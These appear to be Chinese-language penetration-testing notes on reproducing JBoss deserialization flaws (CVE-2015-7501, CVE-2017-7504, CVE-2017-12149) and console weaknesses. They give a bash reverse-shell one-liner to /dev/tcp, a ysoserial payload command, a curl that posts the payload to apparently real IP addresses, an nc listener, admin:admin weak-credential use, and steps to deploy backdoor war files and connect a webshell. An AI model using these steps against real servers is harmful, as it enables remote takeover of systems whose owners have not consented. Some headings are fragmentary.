三、Jboss
3.1 CVE-2015-7501
Jboss JMXInvokerServlet 反序列化漏洞
漏洞复现
1.POC，访问地址
/invoker/JMXInvokerServlet返回如下，说明接口开放，此接口存在反序列化漏洞
3.1 8080
工具
bash -i>& /dev/tcp/ip/4444 0>&1进行base64位编码
java -jar C:\Users\zzy\Desktop\ysoserial-all.jar "bash -c {echo,64位编码}|{base64,-d}|{bash,-i}">zzy666.ser
curl http://47.99.72.48:8080/invoker/JMXInvokerServlet --data-binary @zzy666.ser --output
开启监听nc -lvvp 端口
3.2 CVE-2017-7504
JBossMQ JMS 反序列化漏洞
漏洞复现
1.访问漏洞地址
/jbossmq-httpil/HTTPServerILServlet
2.利用工具：python3 E:\武器库\Jboss\jexboss\jexboss.py -u http://IP:8082
3.3 CVE-2017-12149
JBoss 5.x/6.x反序列化漏洞
漏洞复现
1.访问漏洞页面，看jboss版本
2.验证是否存在漏洞，访问
http://1.15.136.212:8080/invoker/readonly
该漏洞出现在/invoker/readonly中，服务器将用户post请求内容进行反序列化
返回500，说明页面存在，此页面存在反序列化漏洞
3.使用工具进行检测 DeserializeExploit 如果成功直接上传webshell即可:工具:https://cdn.vulhub.org/deserialization/DeserializeExploit.jar
也可以直接执行命令:GitHub - yunxu1/jboss-_CVE-2017-12149: CVE-2017-12149 jboss反序列化 可回显
3.4 Administration Console弱囗令
漏洞描述
Administration Console管理页面存在弱口令，`admin:admin`，登陆后台上传war包，getshell
漏洞复现
/admin-console/login.seam?conversationld=4
1.admin vulhub
2.点击web应用-add-选择文件-上传后门 shell.war
蚁剑连接：
3.5 8083
3.5 低版本JMX Console未授权
低版本JMX Console未授权访问Getshell
漏洞复现
1.访问
/jmx-console/
这里我们使用得复现环境不存在，所以需要密码(正常环境无需密码直接可进入)
2.然后找到jboss.deployment (jboss 自带得部署功能)中的flavor=URL,type=DeploymentScanner点进去(通过URL的方式远程部署)
找到页面中的void addURL()选项远程加载war包来部署。
3.制作war包,这里用之前制作好的 zzy3.war
蚁剑连接：
3.6 高版本JMX Console未授权
在JMX Console页面点击jboss.system链接，在Jboss.system页面中点击service=MainDeployer，如下
2.进入service=MainDeployer页面之后，找到methodlndex为17或19的deploy 填写远程war包地址进行远程部署
3.搭建远程部署，部署远程war包地址
4.然后输入Invoke，点击Invoke
5.连接Webshell
